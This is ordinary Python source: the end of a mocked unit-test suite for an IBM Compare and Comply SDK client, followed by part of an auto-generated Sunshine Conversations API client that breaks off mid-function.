body["file_2_label"] = "string1" body["model"] = "string1" return body def construct_required_body(self): body = {} body["file_1"] = tempfile.NamedTemporaryFile() body["file_2"] = tempfile.NamedTemporaryFile() return body # endregion ############################################################################## # End of Service: Comparison ############################################################################## ############################################################################## # Start of Service: Feedback ############################################################################## # region # ----------------------------------------------------------------------------- # Test Class for add_feedback # ----------------------------------------------------------------------------- class TestAddFeedback: # -------------------------------------------------------- # Test 1: Send fake data and check response # -------------------------------------------------------- @responses.activate def test_add_feedback_response(self): body = self.construct_full_body() response = fake_response_FeedbackReturn_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 2: Send only required fake data and check response # -------------------------------------------------------- @responses.activate def test_add_feedback_required_response(self): # Check response with required params body = self.construct_required_body() response = fake_response_FeedbackReturn_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 3: Send empty data and check response # -------------------------------------------------------- @responses.activate def test_add_feedback_empty(self): check_empty_required_params(self, fake_response_FeedbackReturn_json) check_missing_required_params(self) assert len(responses.calls) == 0 # ----------- # - Helpers - # ----------- def make_url(self, body): endpoint = "/v1/feedback" url = "{0}{1}".format(base_url, endpoint) return url def add_mock_response(self, url, response): responses.add( responses.POST, url, body=json.dumps(response), status=200, content_type="application/json", ) def call_service(self, body): service = CompareComplyV1( authenticator=NoAuthAuthenticator(), version="2018-10-15", ) service.set_service_url(base_url) output = service.add_feedback(**body) return output def construct_full_body(self): body = {} body.update( { "feedback_data": FeedbackDataInput._from_dict( json.loads( """{"feedback_type": "fake_feedback_type", "document": {"title": "fake_title", "hash": "fake_hash"}, "model_id": "fake_model_id", "model_version": "fake_model_version", "location": {"begin": 5, "end": 3}, "text": "fake_text", "original_labels": {"types": [], "categories": []}, "updated_labels": {"types": [], "categories": []}}""" ) ), "user_id": "string1", "comment": "string1", } ) return body def construct_required_body(self): body = {} body.update( { "feedback_data": FeedbackDataInput._from_dict( json.loads( """{"feedback_type": "fake_feedback_type", "document": {"title": "fake_title", "hash": "fake_hash"}, "model_id": "fake_model_id", "model_version": "fake_model_version", "location": {"begin": 5, "end": 3}, "text": "fake_text", "original_labels": {"types": [], "categories": []}, "updated_labels": {"types": [], "categories": []}}""" ) ), "user_id": "string1", "comment": "string1", } ) return body # ----------------------------------------------------------------------------- # Test Class for list_feedback # ----------------------------------------------------------------------------- class TestListFeedback: # -------------------------------------------------------- # Test 1: Send fake data and check response # -------------------------------------------------------- @responses.activate def test_list_feedback_response(self): body = self.construct_full_body() response = fake_response_FeedbackList_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 2: Send only required fake data and check response # -------------------------------------------------------- @responses.activate def test_list_feedback_required_response(self): # Check response with required params body = self.construct_required_body() response = fake_response_FeedbackList_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 3: Send empty data and check response # -------------------------------------------------------- @responses.activate def test_list_feedback_empty(self): check_empty_response(self) assert len(responses.calls) == 1 # ----------- # - Helpers - # ----------- def make_url(self, body): endpoint = "/v1/feedback" url = "{0}{1}".format(base_url, endpoint) return url def add_mock_response(self, url, response): responses.add( responses.GET, url, body=json.dumps(response), status=200, content_type="application/json", ) def call_service(self, body): service = CompareComplyV1( authenticator=NoAuthAuthenticator(), version="2018-10-15", ) service.set_service_url(base_url) output = service.list_feedback(**body) return output def construct_full_body(self): body = { "feedback_type": "string1", "before": datetime.now().date(), "after": datetime.now().date(), "document_title": "string1", "model_id": "string1", "model_version": "string1", "category_removed": "string1", "category_added": "string1", "category_not_changed": "string1", "type_removed": "string1", "type_added": "string1", "type_not_changed": "string1", "page_limit": 12345, "cursor": "string1", "sort": "string1", "include_total": True, } return body def construct_required_body(self): body = {} return body # ----------------------------------------------------------------------------- # Test Class for get_feedback # ----------------------------------------------------------------------------- class TestGetFeedback: # -------------------------------------------------------- # Test 1: Send fake data and check response # -------------------------------------------------------- @responses.activate def test_get_feedback_response(self): body = self.construct_full_body() response = fake_response_GetFeedback_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 2: Send only required fake data and check response # -------------------------------------------------------- @responses.activate def test_get_feedback_required_response(self): # Check response with required params body = self.construct_required_body() response = fake_response_GetFeedback_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 3: Send empty data and check response # -------------------------------------------------------- @responses.activate def test_get_feedback_empty(self): check_empty_required_params(self, fake_response_GetFeedback_json) check_missing_required_params(self) assert len(responses.calls) == 0 # ----------- # - Helpers - # ----------- def make_url(self, body): endpoint = "/v1/feedback/{0}".format(body["feedback_id"]) url = "{0}{1}".format(base_url, endpoint) return url def add_mock_response(self, url, response): responses.add( responses.GET, url, body=json.dumps(response), status=200, content_type="application/json", ) def call_service(self, body): service = CompareComplyV1( authenticator=NoAuthAuthenticator(), version="2018-10-15", ) service.set_service_url(base_url) output = service.get_feedback(**body) return output def construct_full_body(self): body = {"feedback_id": "string1", "model": "string1"} return body def construct_required_body(self): body = {"feedback_id": "string1"} return body # ----------------------------------------------------------------------------- # Test Class for delete_feedback # ----------------------------------------------------------------------------- class TestDeleteFeedback: # -------------------------------------------------------- # Test 1: Send fake data and check response # -------------------------------------------------------- @responses.activate def test_delete_feedback_response(self): body = self.construct_full_body() response = fake_response_FeedbackDeleted_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 2: Send only required fake data and check response # -------------------------------------------------------- @responses.activate def test_delete_feedback_required_response(self): # Check response with required params body = self.construct_required_body() response = fake_response_FeedbackDeleted_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 3: Send empty data and check response # -------------------------------------------------------- @responses.activate def test_delete_feedback_empty(self): check_empty_required_params(self, fake_response_FeedbackDeleted_json) check_missing_required_params(self) assert len(responses.calls) == 0 # ----------- # - Helpers - # ----------- def make_url(self, body): endpoint = "/v1/feedback/{0}".format(body["feedback_id"]) url = "{0}{1}".format(base_url, endpoint) return url def add_mock_response(self, url, response): responses.add( responses.DELETE, url, body=json.dumps(response), status=200, content_type="application/json", ) def call_service(self, body): service = CompareComplyV1( authenticator=NoAuthAuthenticator(), version="2018-10-15", ) service.set_service_url(base_url) output = service.delete_feedback(**body) return output def construct_full_body(self): body = {"feedback_id": "string1", "model": "string1"} return body def construct_required_body(self): body = {"feedback_id": "string1"} return body # endregion ############################################################################## # End of Service: Feedback ############################################################################## ############################################################################## # Start of Service: Batches ############################################################################## # region # ----------------------------------------------------------------------------- # Test Class for create_batch # ----------------------------------------------------------------------------- class TestCreateBatch: # -------------------------------------------------------- # Test 1: Send fake data and check response # -------------------------------------------------------- @responses.activate def test_create_batch_response(self): body = self.construct_full_body() response = fake_response_BatchStatus_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 2: Send only required fake data and check response # -------------------------------------------------------- @responses.activate def test_create_batch_required_response(self): # Check response with required params body = self.construct_required_body() response = fake_response_BatchStatus_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 3: Send empty data and check response # -------------------------------------------------------- @responses.activate def test_create_batch_empty(self): check_empty_required_params(self, fake_response_BatchStatus_json) check_missing_required_params(self) assert len(responses.calls) == 0 # ----------- # - Helpers - # ----------- def make_url(self, body): endpoint = "/v1/batches" url = "{0}{1}".format(base_url, endpoint) return url def add_mock_response(self, url, response): responses.add( responses.POST, url, body=json.dumps(response), status=200, content_type="application/json", ) def call_service(self, body): service = CompareComplyV1( authenticator=NoAuthAuthenticator(), version="2018-10-15", ) service.set_service_url(base_url) output = service.create_batch(**body) return output def construct_full_body(self): body = { "function": "string1", "input_credentials_file": tempfile.NamedTemporaryFile(), "input_bucket_location": "string1", "input_bucket_name": "string1", "output_credentials_file": tempfile.NamedTemporaryFile(), "output_bucket_location": "string1", "output_bucket_name": "string1", "model": "string1", } return body def construct_required_body(self): body = { "function": "string1", "input_credentials_file": tempfile.NamedTemporaryFile(), "input_bucket_location": "string1", "input_bucket_name": "string1", "output_credentials_file": tempfile.NamedTemporaryFile(), "output_bucket_location": "string1", "output_bucket_name": "string1", } return body # ----------------------------------------------------------------------------- # Test Class for list_batches # ----------------------------------------------------------------------------- class TestListBatches: # -------------------------------------------------------- # Test 1: Send fake data and check response # -------------------------------------------------------- @responses.activate def test_list_batches_response(self): body = self.construct_full_body() response = fake_response_Batches_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 2: Send only required fake data and check response # -------------------------------------------------------- @responses.activate def test_list_batches_required_response(self): # Check response with required params body = self.construct_required_body() response = fake_response_Batches_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 3: Send empty data and check response # -------------------------------------------------------- @responses.activate def test_list_batches_empty(self): check_empty_response(self) assert len(responses.calls) == 1 # ----------- # - Helpers - # ----------- def make_url(self, body): endpoint = "/v1/batches" url = "{0}{1}".format(base_url, endpoint) return url def add_mock_response(self, url, response): responses.add( responses.GET, url, body=json.dumps(response), status=200, content_type="application/json", ) def call_service(self, body): service = CompareComplyV1( authenticator=NoAuthAuthenticator(), version="2018-10-15", ) service.set_service_url(base_url) output = service.list_batches(**body) return output def construct_full_body(self): body = {} return body def construct_required_body(self): body = {} return body # ----------------------------------------------------------------------------- # Test Class for get_batch # ----------------------------------------------------------------------------- class TestGetBatch: # -------------------------------------------------------- # Test 1: Send fake data and check response # -------------------------------------------------------- @responses.activate def test_get_batch_response(self): body = self.construct_full_body() response = fake_response_BatchStatus_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 2: Send only required fake data and check response # -------------------------------------------------------- @responses.activate def test_get_batch_required_response(self): # Check response with required params body = self.construct_required_body() response = fake_response_BatchStatus_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 3: Send empty data and check response # -------------------------------------------------------- @responses.activate def test_get_batch_empty(self): check_empty_required_params(self, fake_response_BatchStatus_json) check_missing_required_params(self) assert len(responses.calls) == 0 # ----------- # - Helpers - # ----------- def make_url(self, body): endpoint = "/v1/batches/{0}".format(body["batch_id"]) url = "{0}{1}".format(base_url, endpoint) return url def add_mock_response(self, url, response): responses.add( responses.GET, url, body=json.dumps(response), status=200, content_type="application/json", ) def call_service(self, body): service = CompareComplyV1( authenticator=NoAuthAuthenticator(), version="2018-10-15", ) service.set_service_url(base_url) output = service.get_batch(**body) return output def construct_full_body(self): body = {"batch_id": "string1"} return body def construct_required_body(self): body = {"batch_id": "string1"} return body # ----------------------------------------------------------------------------- # Test Class for update_batch # ----------------------------------------------------------------------------- class TestUpdateBatch: # -------------------------------------------------------- # Test 1: Send fake data and check response # -------------------------------------------------------- @responses.activate def test_update_batch_response(self): body = self.construct_full_body() response = fake_response_BatchStatus_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 2: Send only required fake data and check response # -------------------------------------------------------- @responses.activate def test_update_batch_required_response(self): # Check response with required params body = self.construct_required_body() response = fake_response_BatchStatus_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 3: Send empty data and check response # -------------------------------------------------------- @responses.activate def test_update_batch_empty(self): check_empty_required_params(self, fake_response_BatchStatus_json) check_missing_required_params(self) assert len(responses.calls) == 0 # ----------- # - Helpers - # ----------- def make_url(self, body): endpoint = "/v1/batches/{0}".format(body["batch_id"]) url = "{0}{1}".format(base_url, endpoint) return url def add_mock_response(self, url, response): responses.add( responses.PUT, url, body=json.dumps(response), status=200, content_type="application/json", ) def call_service(self, body): service = CompareComplyV1( authenticator=NoAuthAuthenticator(), version="2018-10-15", ) service.set_service_url(base_url) output = service.update_batch(**body) return output def construct_full_body(self): body = {"batch_id": "string1", "action": "string1", "model": "string1"} return body def construct_required_body(self): body = {"batch_id": "string1", "action": "string1"} return body # endregion ############################################################################## # End of Service: Batches ############################################################################## def check_empty_required_params(obj, response): """Test function to assert that the operation will throw an error when given empty required data Args: obj: The generated test function """ body = obj.construct_full_body() body = {k: None for k in body.keys()} error = False try: send_request(obj, body, response) except ValueError as e: error = True assert error def check_missing_required_params(obj): """Test function to assert that the operation will throw an error when missing required data Args: obj: The generated test function """ body = obj.construct_full_body() url = obj.make_url(body) error = False try: send_request(obj, {}, {}, url=url) except TypeError as e: error = True assert error def check_empty_response(obj): """Test function to assert that the operation will return an empty response when given an empty request Args: obj: The generated test function """ body = obj.construct_full_body() url = obj.make_url(body) send_request(obj, {}, {}, url=url) def send_request(obj, body, response, url=None): """Test function to create a request, send it, and assert its accuracy to the mock response Args: obj: The generated test function body: Dict filled with fake data for calling the service response_str: Mock response string """ if not url: url = obj.make_url(body) obj.add_mock_response(url, response) output = obj.call_service(body) assert responses.calls[0].request.url.startswith(url) assert output.get_result() == response #################### ## Mock Responses ## #################### fake_response__json = None fake_response_HTMLReturn_json = """{"num_pages": "fake_num_pages", "author": "fake_author", "publication_date": "fake_publication_date", "title": "fake_title", "html": "fake_html"}""" fake_response_ClassifyReturn_json = """{"document": {"title": "fake_title", "html": "fake_html", "hash": "fake_hash", "label": "fake_label"}, "model_id": "fake_model_id", "model_version": "fake_model_version", "elements": [], "effective_dates": [], "contract_amounts": [], "termination_dates": [], "contract_types": [], "contract_terms": [], "payment_terms": [], "contract_currencies": [], "tables": [], "document_structure": {"section_titles": [], "leading_sentences": [], "paragraphs": []}, "parties": []}""" fake_response_TableReturn_json = """{"document": {"html": "fake_html", "title": "fake_title", "hash": "fake_hash"}, "model_id": "fake_model_id", "model_version": "fake_model_version", "tables": []}""" fake_response_CompareReturn_json = """{"model_id": "fake_model_id", "model_version": "fake_model_version", "documents": [], "aligned_elements": [], "unaligned_elements": []}""" fake_response_FeedbackReturn_json = """{"feedback_id": "fake_feedback_id", "user_id": "fake_user_id", "comment": "fake_comment", "created": "2017-05-16T13:56:54.957Z", "feedback_data": {"feedback_type": "fake_feedback_type", "document": {"title": "fake_title", "hash": "fake_hash"}, "model_id": "fake_model_id", "model_version": "fake_model_version", "location": {"begin": 5, "end": 3}, "text": "fake_text", "original_labels": {"types": [], "categories": [], "modification": "fake_modification"}, "updated_labels": {"types": [], "categories": [], "modification": "fake_modification"}, "pagination": {"refresh_cursor": "fake_refresh_cursor", "next_cursor": "fake_next_cursor", "refresh_url": "fake_refresh_url", "next_url": "fake_next_url", "total": 5}}}""" fake_response_FeedbackList_json = """{"feedback": []}""" fake_response_GetFeedback_json = """{"feedback_id": "fake_feedback_id", "created": "2017-05-16T13:56:54.957Z", "comment": "fake_comment", "feedback_data": {"feedback_type": "fake_feedback_type", "document": {"title": "fake_title", "hash": "fake_hash"}, "model_id": "fake_model_id", "model_version": "fake_model_version", "location": {"begin": 5, "end": 3}, "text": "fake_text", "original_labels": {"types": [], "categories": [], "modification": "fake_modification"}, "updated_labels": {"types": [], "categories": [], "modification": "fake_modification"}, "pagination": {"refresh_cursor": "fake_refresh_cursor", "next_cursor": "fake_next_cursor", "refresh_url": "fake_refresh_url", "next_url": "fake_next_url", "total": 5}}}""" fake_response_FeedbackDeleted_json = """{"status": 6, "message": "fake_message"}""" fake_response_BatchStatus_json = """{"function": "fake_function", "input_bucket_location": "fake_input_bucket_location", "input_bucket_name": "fake_input_bucket_name", "output_bucket_location": "fake_output_bucket_location", "output_bucket_name": "fake_output_bucket_name", "batch_id": "fake_batch_id", "document_counts": {"total": 5, "pending": 7, "successful": 10, "failed": 6}, "status": "fake_status", "created": "2017-05-16T13:56:54.957Z", "updated": "2017-05-16T13:56:54.957Z"}""" fake_response_Batches_json = """{"batches": []}""" fake_response_BatchStatus_json = """{"function": "fake_function", "input_bucket_location": "fake_input_bucket_location", "input_bucket_name": "fake_input_bucket_name", "output_bucket_location": "fake_output_bucket_location", "output_bucket_name": "fake_output_bucket_name", "batch_id": "fake_batch_id", "document_counts": {"total": 5, "pending": 7, "successful": 10, "failed": 6}, "status": "fake_status", "created": "2017-05-16T13:56:54.957Z", "updated": "2017-05-16T13:56:54.957Z"}""" fake_response_BatchStatus_json = """{"function": "fake_function", "input_bucket_location": "fake_input_bucket_location", "input_bucket_name": "fake_input_bucket_name", "output_bucket_location": "fake_output_bucket_location", "output_bucket_name": "fake_output_bucket_name", "batch_id": "fake_batch_id", "document_counts": {"total": 5, "pending": 7, "successful": 10, "failed": 6}, "status": "fake_status", "created": "2017-05-16T13:56:54.957Z", "updated": "2017-05-16T13:56:54.957Z"}"""

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Python

sunshine_conversations_client/api/conversations_api.py

Dima2022/sunshine-conversations-python

8085a82dc320d97f09bb0174d11dd1865a65404a

[ "Apache-2.0" ]

4

2020-09-27T14:28:25.000Z

2022-02-02T13:51:29.000Z

sunshine_conversations_client/api/conversations_api.py

Dima2022/sunshine-conversations-python

8085a82dc320d97f09bb0174d11dd1865a65404a

[ "Apache-2.0" ]

3

2021-09-30T18:18:58.000Z

2021-12-04T07:55:23.000Z

sunshine_conversations_client/api/conversations_api.py

Dima2022/sunshine-conversations-python

8085a82dc320d97f09bb0174d11dd1865a65404a

[ "Apache-2.0" ]

5

2020-11-07T02:08:18.000Z

2021-12-07T17:10:23.000Z

# coding: utf-8 """ Sunshine Conversations API The version of the OpenAPI document: 9.4.5 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from sunshine_conversations_client.api_client import ApiClient from sunshine_conversations_client.exceptions import ( # noqa: F401 ApiTypeError, ApiValueError ) class ConversationsApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def create_conversation(self, app_id, conversation_create_body, **kwargs): # noqa: E501 """Create Conversation # noqa: E501 Create a conversation for the specified user(s). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_conversation(app_id, conversation_create_body, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str app_id: Identifies the app. (required) :param ConversationCreateBody conversation_create_body: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: ConversationResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.create_conversation_with_http_info(app_id, conversation_create_body, **kwargs) # noqa: E501 def create_conversation_with_http_info(self, app_id, conversation_create_body, **kwargs): # noqa: E501 """Create Conversation # noqa: E501 Create a conversation for the specified user(s). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_conversation_with_http_info(app_id, conversation_create_body, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str app_id: Identifies the app. (required) :param ConversationCreateBody conversation_create_body: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(ConversationResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'app_id', 'conversation_create_body' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method create_conversation" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'app_id' is set if self.api_client.client_side_validation and ('app_id' not in local_var_params or # noqa: E501 local_var_params['app_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `app_id` when calling `create_conversation`") # noqa: E501 # verify the required parameter 'conversation_create_body' is set if self.api_client.client_side_validation and ('conversation_create_body' not in local_var_params or # noqa: E501 local_var_params['conversation_create_body'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `conversation_create_body` when calling `create_conversation`") # noqa: E501 collection_formats = {} path_params = {} if 'app_id' in local_var_params: path_params['appId'] = local_var_params['app_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'conversation_create_body' in local_var_params: body_params = local_var_params['conversation_create_body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['basicAuth', 'bearerAuth'] # noqa: E501 return self.api_client.call_api( '/v2/apps/{appId}/conversations', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ConversationResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def delete_conversation(self, app_id, conversation_id, **kwargs): # noqa: E501 """Delete Conversation # noqa: E501 Delete an entire conversation record, along with its messages and attachments. Note that the default conversation cannot be deleted, but the messages contained [can be](#deleteAllMessages). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_conversation(app_id, conversation_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str app_id: Identifies the app. (required) :param str conversation_id: Identifies the conversation. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: object If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.delete_conversation_with_http_info(app_id, conversation_id, **kwargs) # noqa: E501 def delete_conversation_with_http_info(self, app_id, conversation_id, **kwargs): # noqa: E501 """Delete Conversation # noqa: E501 Delete an entire conversation record, along with its messages and attachments. Note that the default conversation cannot be deleted, but the messages contained [can be](#deleteAllMessages). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_conversation_with_http_info(app_id, conversation_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str app_id: Identifies the app. (required) :param str conversation_id: Identifies the conversation. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(object, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'app_id', 'conversation_id' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method delete_conversation" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'app_id' is set if self.api_client.client_side_validation and ('app_id' not in local_var_params or # noqa: E501 local_var_params['app_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `app_id` when calling `delete_conversation`") # noqa: E501 # verify the required parameter 'conversation_id' is set if self.api_client.client_side_validation and ('conversation_id' not in local_var_params or # noqa: E501 local_var_params['conversation_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `conversation_id` when calling `delete_conversation`") # noqa: E501 collection_formats = {} path_params = {} if 'app_id' in local_var_params: path_params['appId'] = local_var_params['app_id'] # noqa: E501 if 'conversation_id' in local_var_params: path_params['conversationId'] = local_var_params['conversation_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['basicAuth', 'bearerAuth'] # noqa: E501 return self.api_client.call_api( '/v2/apps/{appId}/conversations/{conversationId}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='object', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_conversation(self, app_id, conversation_id, **kwargs): # noqa: E501 """Get Conversation # noqa: E501 Fetches an individual conversation. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_conversation(app_id, conversation_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str app_id: Identifies the app. (required) :param str conversation_id: Identifies the conversation. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: ConversationResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_conversation_with_http_info(app_id, conversation_id, **kwargs) # noqa: E501 def get_conversation_with_http_info(self, app_id, conversation_id, **kwargs): # noqa: E501 """Get Conversation # noqa: E501 Fetches an individual conversation. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_conversation_with_http_info(app_id, conversation_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str app_id: Identifies the app. (required) :param str conversation_id: Identifies the conversation. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(ConversationResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'app_id', 'conversation_id' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_conversation" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'app_id' is set if self.api_client.client_side_validation and ('app_id' not in local_var_params or # noqa: E501 local_var_params['app_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `app_id` when calling `get_conversation`") # noqa: E501 # verify the required parameter 'conversation_id' is set if self.api_client.client_side_validation and ('conversation_id' not in local_var_params or # noqa: E501 local_var_params['conversation_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `conversation_id` when calling `get_conversation`") # noqa: E501 collection_formats = {} path_params = {} if 'app_id' in local_var_params: path_params['appId'] = local_var_params['app_id'] # noqa: E501 if 'conversation_id' in local_var_params: path_params['conversationId'] = local_var_params['conversation_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['basicAuth', 'bearerAuth'] # noqa: E501 return self.api_client.call_api( '/v2/apps/{appId}/conversations/{conversationId}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ConversationResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def list_conversations(self, app_id, filter, **kwargs): # noqa: E501 """List Conversations # noqa: E501 Lists all conversations that a user is part of. This API is paginated through [cursor pagination](#section/Introduction/API-pagination-and-records-limits). ```shell /v2/apps/:appId/conversations?filter[userId]=42589ad070d43be9b00ff7e5 ``` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_conversations(app_id, filter, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str app_id: Identifies the app. (required) :param ConversationListFilter filter: Contains parameters for filtering the results. (required) :param Page page: Contains parameters for applying cursor pagination. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: ConversationListResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.list_conversations_with_http_info(app_id, filter, **kwargs) # noqa: E501 def list_conversations_with_http_info(self, app_id, filter, **kwargs): # noqa: E501 """List Conversations # noqa: E501 Lists all conversations that a user is part of. This API is paginated through [cursor pagination](#section/Introduction/API-pagination-and-records-limits). ```shell /v2/apps/:appId/conversations?filter[userId]=42589ad070d43be9b00ff7e5 ``` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_conversations_with_http_info(app_id, filter, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str app_id: Identifies the app. (required) :param ConversationListFilter filter: Contains parameters for filtering the results. (required) :param Page page: Contains parameters for applying cursor pagination. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(ConversationListResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'app_id', 'filter', 'page' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in 